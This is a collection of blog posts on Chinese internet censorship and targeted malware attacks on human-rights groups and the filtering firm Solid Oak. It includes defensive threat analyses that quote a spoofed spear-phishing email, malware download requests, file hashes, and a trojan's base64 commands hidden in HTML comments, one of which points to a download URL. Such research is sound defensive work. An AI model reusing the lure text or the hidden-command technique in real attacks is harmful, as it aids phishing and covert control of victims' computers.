Posts tagged “China”

Human Rights and Malware Attacks

Human Rights and Malware Attacks

by Nart Villeneuve

On March 18, 2010, unknown attackers sent a spear phishing email that appeared to be from Sharon Hom, the Executive Director of Human Rights in China (HRIC), to a variety of organizations and individuals. Leveraging the trust and recognition of HRIC, the attackers’ email encouraged recipients to visit a compromised website that contained malicious code designed to allow the attackers to ultimately take full control of the visitor’s computer. These targeted malware attacks are now becoming commonplace, further extending the threat faced by civil society organizations.


One of the domains used in this attack,, has been used in a variety of attacks and has been documented by Mila at


Internet censorship is but one component of “a matrix of control” that acts to restrict and control information flow in China. The combination of censorship along with surveillance aims to influence behavior toward self-censorship so that most will not actively seek out banned information, let alone the means to bypass these controls. Those engaged in political activities and those who vocally oppose repressive policies such as censorship may be subjected to a complex set of threats—not simply censorship.

A 2008 report titled Breaching Trust: An Analysis of Surveillance and Security Practices on China’s TOM-Skype Platform uncovered that Skype and its Chinese partner Tom Online operated a surveillance network which insecurely captured millions of records including contact details for any text chat and/or voice calls and the full text of sensitive chat messages. A large portion of these captured messages concerned a political campaign that urged Chinese citizens to quit the Communist Party.

There have been an increasing number of targeted malware attacks against civil society organizations, human rights groups, media organizations, and Tibetan supporters. Typically, the targeted user receives an email, possibly appearing to be from someone they know who is a real person within his or her organization, with some text—sometimes specific, sometimes generic—that urges the user to open an attachment (or visit a web site), usually a PDF or Microsoft Office document .

If the user opens the attachment with a vulnerable version of Adobe Reader or Microsoft Office (other types of software are also being exploited) and no other mitigations are in place, their computer will likely be compromised. A clean version of the document is typically embedded in the malicious file and is opened upon successful exploitation so as not to arouse suspicion of the recipient.

Then the user’s computer checks in with a command and control server. At this point, the attacker has full control of the user’s system. The attacker can steal documents, email and send other data, or force the compromised computer to download additional malware and possibly use the infected computer as a mechanism to exploit the victim’s contacts or other computers on the target network.

In the last year, the Information Warfare Monitor has uncovered two cyber-espionage networks, investigated numerous targeted malware attacks, and published two reports: Tracking GhostNet: Investigating a Cyber Espionage Network and Shadows in the Cloud: An Investigation into Cyber Espionage 2.0.

The first, GhostNet, was a network of over 1200 compromised computers spread across 103 countries, 30 percent of which we identified and determined to be “high-value” targets, including ministries of foreign affairs, embassies, international organizations, news organizations, and a computer located at NATO headquarters. While we were able to determine that these entities had been compromised, we were only able to theorize about what type of data the attackers were able to acquire.

Our follow-up investigation uncovered the Shadow Network, and unlike GhostNet we were able to acquire the data stolen by the attackers. We were able to access just one portion of the Shadow Network that was primarily focused on extracting sensitive information from India. We recovered a wide variety of documents, including one document that appeared to be encrypted diplomatic correspondence, two documents marked “SECRET,” six as “RESTRICTED,” and five as “CONFIDENTIAL” which appear to belong to Indian government entities including the National Security Council Secretariat (NSCS) of India, the Embassy of India, Kabul, the Embassy of India, Moscow, the Consulate General of India, Dubai, and the High Commission of India in Abuja, Nigeria. We also recovered documents including 1,500 letters sent from the Dalai Lama’s office between January and November 2009.

The nature of the compromised entities and the data stolen by the attackers do indicate correlations with the strategic interests of the People’s Republic of China, but, we were unable to determine any direct connection between these attackers and elements of the Chinese state.



On March 18, 2010, attackers sent a “spear phishing” email that appeared to originate from Sharon Hom’s email account to several different organizations and individuals. The subject of the email was “Microsoft, Stool Pigeon for the Cops and FBI” and the email contained a JPG attachment. However, the attackers’ objective was for the targets to visit the link contained in the email. The link,, redirected to which was compromised by the attackers and in which they had inserted code that caused visitors to the website to open a malicious PDF from This PDF exploited Adobe Reader and compromised the visitors computer. Compromised computers then connected to a website under the attackers’ control,, and downloaded additional malware before ultimately connecting to a command and control server, 360liveupdate. com, in China.

Spoofed Email

From: Sharon Hom <>
Sent: Thursday, March 18, 2010 9:46 AM
: Microsoft, Stool Pigeon for the Cops and FBI


I’ve got my hands on a copy of the leaked, confidential Microsoft “Global Criminal Compliance Handbook,” which details for police and intelligence services exactly what information Microsoft collects about users of its online services, and how they can be accessed. What is gathered and available about you is quite comprehensive, including your emails, detailed information about when you sign in and use the services, credit card information, and so on. Attachments are scanned copies of documents.

For the whole documents, please visit

Email Headers

Although the email appeared to be from HRIC it was actually sent from the following location:

Sender: <>
: from ( [])
X-mailer: Foxmail 5.0 [cn]


The email headers reveal that the attackers actually sent the email from the following IP address:
OrgName: DCS Pacific Star, LLC
: 5050 El Camino Real, #238
City: Los Altos
StateProv: CA
: 94022
Country: US

The email encouraged recipients to visit, the website of an organization called the Coalition for Citizen’s Rights. This organization is a vocal opponent of the Chinese government.

The attackers compromised the website and inserted malicious code that caused vulnerable visitors to silently load a malicious PDF document that infected the users computer with malware.

Image 1 Compromised site: ->

Image 2 js_men.asp

The malicious PDF was hosted on (, a website located in Taiwan. This malicious file has very low antivirus coverage. Only eight out of forty-two anti-virus products detected the file as malware.

Item 3

Filename readme.pdf
Filetype PDF
MD5 72bdca7dd12ed04b21dfa60c5c2ab6c4

Virustotal: 8/42 (19.05%)

The malware dropped by the malicious PDF issued another connection, this time to ( This is a server under the control of the attackers. The malware made a request for another executable, which appeared to be encrypted and which no antivirus products detected as malicious.

Item 4

GET /fun.exe HTTP/1.1

Filename fun.exe
Filetype EXE
MD5 ec16143a14c091100e7af30de03fce1f

Virustotal: 0/42 (0%)

Interestingly, the IP address of ( is assigned to the same company, DCS Pacific Star, LLC, as the IP address used to send the malicious email (

The new malware downloaded from ( began encrypted communications with a command and control server located in China at

Image 5

The command and control server is located in Jiangsu Province, China:
: –
descr: CHINANET jiangsu province network
descr: China Telecom
descr: A12,Xin-Jie-Kou-Wai Street
: Beijing 100088
: CN


The nexus of censorship, surveillance, and malware attacks enable strict information control policies in China that extend beyond China’s boundaries to affect civil society organizations around the world. An increasing number of targeted malware attacks against civil society organizations are being reported. In many cases, the attacks can be traced back to command and control infrastructure located in China. These attacks leverage trust among members of social and political networks using human rights themes and spoofed identities to encourage targeted users to execute malicious code. From that point, unknown attackers have full control over the users’ computers and can conduct surveillance, exfiltrate sensitive information, and use the computer as a staging ground for future attacks.

The original version of this article is available here and in Chinese here.

GoDaddy, .CN, Malware & Freedom of Expression

The domain registrar GoDaddy testified before the U.S. Congressional-Executive Commission on China and stated that they would “discontinue offering new .CN domain names” citing concerns over an “increase in China’s surveillance and monitoring of the Internet activities of its citizens” and the “chilling effect” that the retroactive application of new requirements on .CN domain names would have.

CNNIC, which regulates the .CN ccTLD, introduced new requirements in December 2009 on registrations which many in the security community welcomed. .CN domain names are often used for malicious purposes. McAfee has listed .CN as one of the riskiest ccTLD’s. and (two amazing malware/security resources) have collected numerous .CN domain names used to distribute malware. The AV company Kaspersky noted:

Over the last 3–4 years, China has become the leading source of malware. Chinese cybercriminals have shown themselves to be capable of creating such huge volumes of malware that over the last two years, antivirus companies have, without exception, put most of their effort into combating Chinese malware.

However, a lot of the malware activity coming from China is because Eastern European criminal networks moved and are now abusing Chinese infrastructure, .CN domains as well as IP addresses.

Sophos noted that the regulations were having an effect. There was a decrease in spam and Sophos attributed this to the new CNNIC regulations. Symantec noted that .CN registrations used for spam were down and .RU registrations had taken their place.

Others were unsure. StopBadWare noted that since there was a 5 day grace period that would be enough time for the malicious use of .CN domain names. Many, including Isaac Mao, also raised privacy and freedom expression issues arguing that this was a crackdown on freedom of expression.

GoDaddy is now framing their decision to “discontinue offering new .CN domain names” as a freedom of expression issue. Back in 2004 I wrote about GoDaddy’s practice of denying access to its services form certain countries. Others have also had issues with GoDaddy regarding freedom of expression. In other cases, GoDaddy (among other registrars) have been criticized for being too slow to act.

So in trying to get an understanding of what’s going on, I found portions of GoDaddy’s testimony quite interesting. In particular, I’m interested in the emphasis on “Chinese nationals.”

On February 3, 2010, CNNIC announced that it would reopen .CN domain name registrations to overseas registrars. However, the stringent new identification and documentation procedures would remain in effect. CNNIC also announced an audit of all .CN domain name registrations currently held by Chinese nationals. Domain name registrars, including Go Daddy, were then instructed to obtain photo identification, business identification, and physical signed registration forms from all existing .CN domain name registrants who are Chinese nationals, and to provide copies of those documents to CNNIC. We were advised that domain names of registrants who did not register as required would no longer resolve. In other words, their domain names would no longer work.

Now, what I am unclear on is how the requirements affects non-Chinese national who a registering malware domains, pushing rogue antivirus, sending spam and all sorts ofnasty things. These regulation seems to largely target Chinese nationals — not the nationals of other countries who may be using .CN domains for malicious purposes. GoDaddy concluded:

The intent of the new procedures appeared, to us, to be based on a desire by the Chinese authorities to exercise increased control over the subject matter of domain name registrations by Chinese nationals.

We believe that many of the current abuses of the Internet originating in China are due to a lack of enforcement against criminal activities by the Chinese government. Our experience has been that China is focused on using the Internet to monitor and control the legitimate activities of its citizens, rather than penalizing those who commit Internet-related crimes.

I’m having trouble evaluating GoDaddy’s new found (to me anyway) commitment to freedom of expression. I do welcome it and I hope they are serious about it and demonstrate their commitment by joining the Global Network Initiative. But I’m hoping that they don’t confine their interest in freedom of expression solely to China but rather evaluate and assess freedom of expression and privacy across their business operations.


WP: In response to new rules, GoDaddy to stop registering domain names in China
Dancho Danchev: “With CN/RU requirement for scanned IDs in order to register a domain,underground services are already monetizing the Photoshop-ing process.” ->

Yesterday Google began redirecting requests for to effectively ending its years of self-censorship in China. To be clear, Google has not ended censorship in China — Google has ended its own self-censorship.

While searches within the .hk google are not censored by Google, they will still be affected by China’s keyword filtering. This means that queries for certain terms will not get through to search engine and the end user in China will not get any results.

Even if a user in China uses search queries that are not filtered by China and retrieves results from google’s .hk version, they will still be affected by China’s filtering if they click on the link and try and view those results directly.

What’s the difference? Users in China will be affected by China’s filtering, not Google’s. The difference is in the user’s experience — instead of retrieving results and carrying on as if censorship did not exist (disclaimer aside), the user now experiences the censorship first hand.

It is true that the user will not get any results from Google for queries that are filtered by China. this may results in quantitatively less information, but necessarily qualitatively (see here and here). Even if a controversial site slipped through the self-censorship, it would be picked up by China’s filtering if the user tried to access it directly.

The move removes Google from an ethically challenged situation and has raised awareness globally regarding China’s censorship practices.

Remember: Microsoft and Yahoo! are still censoring their China facing search engines.

Google, Yahoo, Microsoft Still Censoring In China

Today MSNBC reported that Google “appears” to have stopped censoring its search engine in China,

This is not true.

In Search Monitor Project: Toward a Measure of Transparency I tried to carefully document the different censorship practices among Google, Yahoo, Microsoft and Baidu. (Here are some more posts on this issue.) In short, it is difficult to determine the relationship between queries and censorship, so I focused on domains.

NBC assumed that the censorship was keyword driven (there are some key word driven elements) but a lot of it is based on de-listing (or not indexing) web sites.

For what it is worth, I noticed that a lot of the content I found to be blocked in 2008 was available BEFORE the Google announcement in January. For example, around the Olympics in Beijing a lot of previously blocked content was accessible (although the search engines were still censoring more than China was at that time).

But anyway, a closer look at the current search engine censorship reveals some interesting issues. Here’s a search for Tiananmen, notice the “tankman” picture is there, twice.

But look closely, what is Google indexing? Why those domains are “” and “”. Baidu and 163, both very popular domestic Chinese sites. The images are not hosted on thoese sites, but are linked from them. So both Baidu and 163 are displaying page that have the image too!

What about Yahoo ( and Microsoft’s Bing (with region set to PRC)? Yep, these images are there too!

Although Google has consistently performed better (as in less censorship) in my tests over the years, Google’s censorship behaviour is not all that different than the rest.

Malware Attacks on Solid Oak After Dispute with Greendam

A while back I posted an analysis of attacks on Solid Oak (the makers of CyberSitter) after a dispute with a Chinese firm that produced GreenDam over stolen code. Rob Lemos covered the story and also revealed that the law firm representing Solid Oak subsequently came under a similar targeted malware attack. The story has surfaced again, this time in connection with APT. I’ve reposted the original from below.

Malware Attacks on Solid Oak After Dispute with Greendam

By Nart Villeneuve

After researchers discovered that portions of China’s Greendam filtering software were stolen from an American filtering company’s software, Cybersitter, the company that produces the software, Solid Oak, same under a targeted malware attack. This short post from the Malware Lab ( analyzes two samples from the attacks.


  • The delivery component of the attacks specifically targeted Solid Oak. In one case the attackers registered and used a Gmail account that was a misspelling of of a Solid Oak employees name and used it to send an email about a contextually relevant topic.
  • These targeted emails contained (or linked to) malicious files that, if opened, caused the targets computer to become infected with a Trojan Horse program.
  • In both cases the Trojan connects to (related) web servers but requests seemingly legitimate files. However, at certain times the attackers insert HTML command tags into these files with commands.


In June 2009, it was reported that the Chinese government was requiring the installation of filtering software, known as Green Dam, on all personal computers sold in China.1 Researchers from the University of Michigan analyzed Green Dam and discovered security vulnerabilities that would allow malicious attackers to take control of any computer running Green Dam.

In addition, they found that portions of Green Dam’s block lists were taken from a U.S. Company, Solid Oak, that produces a filtering product called CyberSitter, and that the image filtering component was taken from OpenCV, an open source project.2 Bryan Zhang, the founder of Jin Hui, the company that created Green Dam, denied that Green Dam contained stolen code and stated that it was “impossible”.3 Solid Oak released a report detailing the incident and is reportedly seeking legal action against PC manufacturers that are shipping computers with Green Dam installed.4

On June 25, 2009 reports emerged stating that Solid Oak was under attack. In addition to “server problems” company executives began receiving suspicious emails.5

The following is an analysis of samples of malware sent to Solid Oak.

Sample 1

On June 25, 2009 an email message was sent to Brian Milburn, the CEO of Solid Oak, from “”; Jenna DiPasquale (note the missing “s”) is the head of public relations for Solid Oak.

Date: Thu, 25 Jun 2009 05:49:18 -0400
Subject: This is the Jinhui Computer System Engineering Inc’s report about China’s Green Dam Youth Escort screening software.
From: Jenna DiPaquale

This is This is the Jinhui Computer System Engineering Inc’s report about
China’s Green Dam Youth Escort screening software. China’s Green Dam Youth Escort
screening software.

The file,, was no longer available at at the time of analysis so sample that Solid Oak provided was used. The zip file contains an executable:


However, Windows computers have a “feature” enabled by default that hides file extension cause the malicious executable to appear as if it is a directory/folder.6

When the malicious file is run (the user thinks he or she is opening a directory), a directory with the same name is created and the contents of that directory (a Word document, Jinhuisays.doc) is displayed to the user while malicious software is dropped on the system. The malicious file issues a connect to ( (See Threat Expert for an automated report.7)

The User-Agent contains some interesting characters:

GET /docs/rmscpt5.htm HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32) z3?

The response contains a “command” in a HTML comment tag:

<!– {/*jgJ-.J} –>

This command has since been removed from the requested page.

After opening the malware, a document is displayed, Jinhuisays.doc, but it does not contain malware.8

Sample 2

The second sample is a Power Point file, “Solid Oak seteps up China’net nappy.ppt” that exploits a vulnerability in Power Point to drop a malicious file. (For automated reports see Threat Expert and Virus Total.) 9

The malware drops a file “Net110..exe” which issues a connection to ( (For an automated report see Threat Expert.)10

Unlike Sample 1, the User-Agent does not contain interesting characters:

GET /help/403-3.htm HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0;)

This command appears as a html comment in the response:

<!– czox –>

base64 decode = s:1

It eventually changed to:

<!– czozMDA= –>

base64 decode = s:300

Other commands seen on by accessing a variety of other pages throughout the site, such as /help/403-1.htm, /help/403-2.htm, /help/403-4.htm, /help/403-7.htm.

<!– czo0 –>

base64 decode = s:4

<!– czoyNDA= –>

base64 decode = s:240

<!– ZDpodHRwOi8vd3d3LnBhcmtlcndvb2QuY29tL2ltYWdlcy90b3AuZ2lm –>

base64 decode = d:

<!– {/*jgJ-nJ} –>

After dropping the Trojan, a Power Point presentation opens.

One interesting behaviour of this particular case is that the page(s) that the malware connects to change quite frequently. At times, command are inserted into the page in HTML comment tags only to be completely removed at a later time, sometimes within several hours of first appearing. These commands also change over time. In addition, sometimes pages are no longer present (404) but re-appear at a later time. At other times, all the pages are restricted (403).

Sample 2 connected to every 10 minutes. These connections were monitored starting at Fri Jul 10 14:50:01 2009 and after finally receiving a command Sat Jul 11 22:20:47 2009 the malware did not issue any further connections (the monitoring stopped at Wed Jul 15 08:11:44 2009).

Fri Jul 10 14:50:01 2009 – 403 Forbidden No Command
Fri Jul 10 23:10:16 2009 – 404 Not Found No Command
Sat Jul 11 22:10:46 2009 – 403 Forbidden No Command
Sat Jul 11 22:20:47 2009 200 OK <!– czozMDA= –> (base64 decode = s:300)

About Malware Lab

The Malware Lab ( is an independent research collective comprised of volunteers that investigates and reports on politically motivated malware attacks, primarily against civil society organizations. The Malware Lab combines technical data with socio-political contextual analysis in order to better understand the capabilities and motivations of the attackers as well as the overall effects and broader implications of targeted attacks.


[4] and

[9] ,


The Aurora Mess

The data about Aurora has always felt just a little off for me. Maybe its that everyone writing about it just has their own piece of the puzzle to analyse, without the detail required to accurately link the pieces together.

When it comes to the command and control infrastructure, maybe it’s that some obfuscated the domain names while others published them, but with a domain on the blog post that’s not in technical write up. Maybe it is that some have significantly bigger lists than others (that include duplicates as well as the root domain for a dynamic dns provider that hands out sub-domains).

Maybe it is that some name domains that hosted the exploit but do not provide details on C&C’s that compromised hosts check-in with. Maybe the difference between the long lists and short lists is that some are including “copycats” — sites that host the IE exploit. Since “Aurora” is now being used to refer to the specific attack on Google, the 0day vulnerability in Internet Explorer (that was apparently used), and the malware that was apparently dropped by the exploit (Hydraq) interchangeably it is difficult to get a handle on exactly what is what.

Google says the attacks were “highly sophisticated and targeted” (as does McAfee, Mandiant, and iDefense) while Damballa says that it was the work of amateurs, Dancho Danchev says that “[i]t’s in fact [an] average team” and Mikko Hypponen says “[t]his wasn’t in my opinion ground-breaking as an attack. We see this fairly regularly.” OK, well, that’s quite the continuum of “sophistication.” Back to that in a bit.

Attribution? The New York Times reported that the attacks were traced to two schools in China: Shanghai Jiaotong University and the Lanxiang Vocational School. While some have drawn links between these schools and the Chinese military others cast doubt on it. The Financial Times reportsthat “a freelance security consultant in his 30s” in China wrote (part of) the Internet Explorer exploit but “is not a full-time government worker, did not launch the attack, and in fact would prefer not be used in such offensive efforts.” Hmm. OK. Mandiant indicated that the quality of the exploit points toward some kind of relationship with the Chinese state, while iDefense, looking at the command and control infrastructure, pretty unambiguously states that the Chinese State was being the attacks whether or not “amateurs” were used.

So here we are at the crossroads of the exploit, the malware, and the command and control infrastructure. And as Richard Bejtlich points out there’s more to it than just the technical aspects of malware, there is, as Mike Cloppert describes, a range of indicators that allow one to characterize the adversary behind the attacks. Clearly, most of us relying on public sources do not have a sufficient level of detailed information to analyse the attack on Google with such depth.

This brings me back to the Damballa report. I really liked this report because is focused on the command and control infrastructure, it was based on interesting data collected via passive DNS data collection and included many interesting conclusion and enough detail to begin connecting their data with other publicly available data. In fact, one of the most interesting observations for me was evidence that the DNS resolutions indicate that Google China was compromised first, followed by Google in Mountain View some 17 hours later. Still, there are parts of the report that are confusing to me.

The Damballa report starts by looking at “five CnC domain names associated with the Aurora botnet” that were publicly disclosed, however, these domain names are not explicitly stated in the report. The most seemingly authoritative list, from Symantec, for example, lists 7 domains. The starting point appears to be “”. This one is common to all lists (except Symantec’s technical write-up). The domain is a Dymanic DNS serverice offered by No-IP that allows people to register sub-domains such as “blog1.” Based on factors such as “DDNS credentials” Damballa linked the following domains together (four of which are not disclosed).


At some point each of the 5 domains above pointed at at least one of the “IP addresses associated with two of the CnC servers used during the Aurora attack.” The IP’s were not disclosed. Therefore, I am not entirely sure of how the next group of domain names are linked.

While the last 2 domains ( and appear on the US CERT list of “Aurora” domains, the first 5 domains (,,,, and do not.

Damballa then links this second group to “two distinct families of Fake AV Alert / Scareware: Login Software 2009 and Microsoft Antispyware Services.”

Fake AV Alert / Scareware

Fake Microsoft Antispyware

So, links the “Fake AV Alert / Scareware” to the US CERT list of “Aurora” domains and links the “Fake Microsoft Antispyware” to the US CERT list of “Aurora” domains. Both appear in Damballa’s second cluster (which has an unclear relationship with the first cluster).

Using the Damballa list along with samples from ThreatExpert I compiled a list that included a few additional domain names. I included domain names that the individual piece of malware requested that had similar paths to those identiofied by Damballa and excluded those that appeared to be other malware or SEO URLs.

For example, one sample contains,,, and The domains and appear on the US CERT list, appears on the Damballa list and appears on neither. Another sample contains and All of these domains appear on the US CERT list and appear on the Damballa list.

The next grouping largely focuses on “” abnd the domain names that apear with it and request similar URL paths but are not in the Damballa report.

The relationships between the domains can be built our further, especially if we include common IP addresses. I think this indicates that there are a variety of conclusion being drawn based on data that comes bundled with a variety of assumptions. For example, is the sample detailed by Symatec the same — as opposed to similar to — the one used in attack on Google? How were these “master” lists — such as the one by US CERT created? How were these domains bundled together?

In the Damballa report in particular there are a few additional assumptions that I am not entirely sure of. First, I’m not sure that DDNS == amateur. Many of the targeted attack on civil society and human rights groups I’ve looked at used DDNS. And while many DDNS providers do cooperate with the security industry and law enforcement, the ones in China (like don’t. Moreover, I’m not sure that “amateur” necessarily excludes state involvement — even governments can engage in behaviour that would be considered amateurish. And would you want to tip off state involvement by being uber3l33t? The logic just starts to become circular after a while, especially if you only focus on the technical aspects.

I mean, if we take Google at their word and believe that “a primary goal of the attackers was accessing the Gmail accounts of Chinese human rights activists” how do we explain the connection to (probably Eastern European) SEO and related common malware?

Even if we assume that the “master” list is accurate, Damballa does raise some alternative explanations for the association between the two:

  • it is possible that two different groups purchased the services of the same crimeware group (probably the same people behind Operation Aurora) to distribute and manage their malware family. Or the crimeware group rented out different variants of the same malware to different groups with different intentions.
  • There is no natural progression seen between the two families. Usually malware writers evolve in both technology and protection of their creation but these two families did not show any related evolution. The malware families appear to exist independently, and then become superseded by Trojan.Hydraq.

The relationship between crimeware — or common botnet operators/kits — and targeted malware attacks in order to extract sensitive data (some might call this espionage) is something I tried to explore in “The “Kneber” Botnet, Spear Phishing Attacks and Crimeware.” Again, given the lack of precise data I don’t claim to know what’s going on in the Google case — in fact, I may have just made it worse with this post. But if we accepts the links that Damballa has found to be accurate it does raise the important issue of the relationship between crimeware and espionage.

But, maybe, we’re jumping to conclusions based on faulty assumptions. I just don’t know. It is still a mess.

Decrypting the Google statement

There have been many articles saying that Google is pulling out China. Well, that’s not exactly what Google said.

Here is exactly what Google stated:

We have decided we are no longer willing to continue censoring our results on, and so over the next few weeks we will be discussing with the Chinese government the basis on which we could operate an unfiltered search engine within the law, if at all. We recognize that this may well mean having to shut down, and potentially our offices in China.

Google is not leaving China. At least not yet.

Look at what was actually said:

1) Google is not willing want to censor, so Google will 2) engage in discussion with the Chinese government and, 3) in order to operate an uncensored search engine within the law.

Law is the key word here. China’s Foreign Ministry spokesperson, Jiang Wu, stated:

China welcomes international Internet companies to conduct business within the country according to law

The question is, what law says that Google cannot index the web site of the BBC news? Anyone know?

In 2006 when Google started censoring in China I asked:

What specific law or court order is being complied with in China?

It is 2010, still no answer.

I think it is a reasonable question for Google to ask.

Google’s New Approach

Google has just announced that there were successful attacks against their infrastructure resulting in the theft of intellectual property. Google traced the attacks to China and although the attribution regarding the Chinese government is unclear, Google also discovered that the attackers also attempted to compromise the Gmail accounts of Chinese human rights activists.

But the most interesting result was due to the combination of attacks, surveillance and censorship Google has decided to reassess their operations in China:

These attacks and the surveillance they have uncovered–combined with the attempts over the past year to further limit free speech on the web–have led us to conclude that we should review the feasibility of our business operations in China. We have decided we are no longer willing to continue censoring our results on, and so over the next few weeks we will be discussing with the Chinese government the basis on which we could operate an unfiltered search engine within the law, if at all. We recognize that this may well mean having to shut down, and potentially our offices in China.

The decision to review our business operations in China has been incredibly hard, and we know that it will have potentially far-reaching consequences. We want to make clear that this move was driven by our executives in the United States, without the knowledge or involvement of our employees in China who have worked incredibly hard to make the success it is today. We are committed to working responsibly to resolve the very difficult issues raised.


The connection between censorship, surveillance and attacks is the key. Censorship, such as the blocking of web sites, is fairly crude but effective when combined with targeted surveillance and attacks. While many, especially the technically savvy, can circumvent China’s filtering system, the “GFW”, using tools such as Psiphon and Tor most Chinese citizens do not. The GFW doesn’t have to be 100% technically effective, it just has to serve as a reminder to those in China about what content is acceptable and that which should be avoided. The objective is to influence behaviour toward self-censorship, so that most will not actively seek out banned information of the means to bypass controls and access it.

The nexus of censorship, surveillance and malware attacks allows China is the key to China’s information control policies. It is not just about the GFW. Internet users in China face complex threats that are heavily dependent on additional factors, such as involvement in political activities, that involve targeted attacks and surveillance. China chooses when, where and how to exercise this granular control.

The InfoWar Monitor — which is a partnership between the Citizen Lab, Munk Centre for International Studies, University of Toronto and The SecDev Group (and SecDev.cyber which focuses on Internet threats) — has been focusing on these threats. For example, in a report “Breaching Trust: An analysis of surveillance and security practices on China’s TOM-Skype platform” we documented how Tom-Skype (the Chinese version of Skype) was censoring and capturing politically sensitive content. In “Tracking GhostNet: Investigating a Cyber Espionage Network” we documented targeted malware attacks that compromised over 1,295 infected computers in 103 countries, 30% of which are high-value targets, including ministries of foreign affairs, embassies, international organizations, news media, and NGOs.

Google’s decision to re-asses their operations in China is courageous. I strongly hope that Microsoft, Yahoo! and others follow Google’s lead — as, to their credit, they have done in the past. In “Search Monitor Project: Toward a Measure of Transparency” I compared the censorship practices of Google, Yahoo! and Microsoft as well as the domestic Chinese search engine Baidu and found that all followed Google’s lead to some extent by at least disclosing their censorship practices to their users. I hope that they stand by Google.

China, the ball is in your court.